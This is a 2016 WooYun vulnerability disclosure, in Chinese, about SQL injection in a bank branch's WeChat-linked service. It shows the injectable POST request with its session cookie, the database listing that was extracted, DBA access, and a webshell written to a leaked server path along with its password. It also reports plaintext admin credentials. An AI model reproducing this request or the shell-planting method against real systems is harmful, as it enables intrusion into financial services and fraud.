漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0167481
漏洞标题：华夏银行某业务SQL注入Getshell
相关厂商：国家互联网应急响应中心
漏洞作者： getshell1993
提交时间：2016-01-05 16:42
修复时间：2016-02-22 17:50
公开时间：2016-02-22 17:50
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-01-05： 细节已通知厂商并且等待厂商处理中
2016-01-08： 厂商已经确认，细节仅向厂商公开
2016-01-18： 细节向核心白帽子及相关领域专家公开
2016-01-28： 细节向普通白帽子公开
2016-02-07： 细节向实习白帽子公开
2016-02-22： 细节向公众公开
简要描述：
这个月还没打卡....
详细说明：
微信上搜索华夏银行天津分行 公众号关注
点进去后找到一处SQL注入
POST /etc/ETCHandler.ashx HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionId=ounf4sfhnewb2ekt3kbvbarg; Hm_lvt_c7003e59094627e49fb5f4894a94f4d9=1451965876; Hm_lpvt_c7003e59094627e49fb5f4894a94f4d9=1451966066
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
action=aztip&etcuserid=22861
available databases [14]:
[*] db_shb
[*] db_shb_test
[*] db_wgd
[*] db_wtj
[*] db_wyl
[*] master
[*] model
[*] msdb
[*] shbold
[*] souhuibao
[*] tempdb
[*] yhsh
[*] yhsh1
[*] yhsh2
dba权限
再结合数据库爆出来的路径写shell
d:\website\SouHuiBao-4.5-0708\SouHuiBao2015102801\SouHuiBao
http://**.**.**.**/test.asp 密码x
或者**.**.**.**/test.asp
漏洞证明：
找到后台登陆 管理员账号密码明文
http://**.**.**.**/WebManage/main.aspx
看来影响的是多家银行 可充值消费
修复方案：
严格过滤
版权声明：转载请注明来源 getshell1993@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：8
确认时间：2016-01-08 18:59
厂商回复：
CNVD未复现所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。
最新状态：
暂无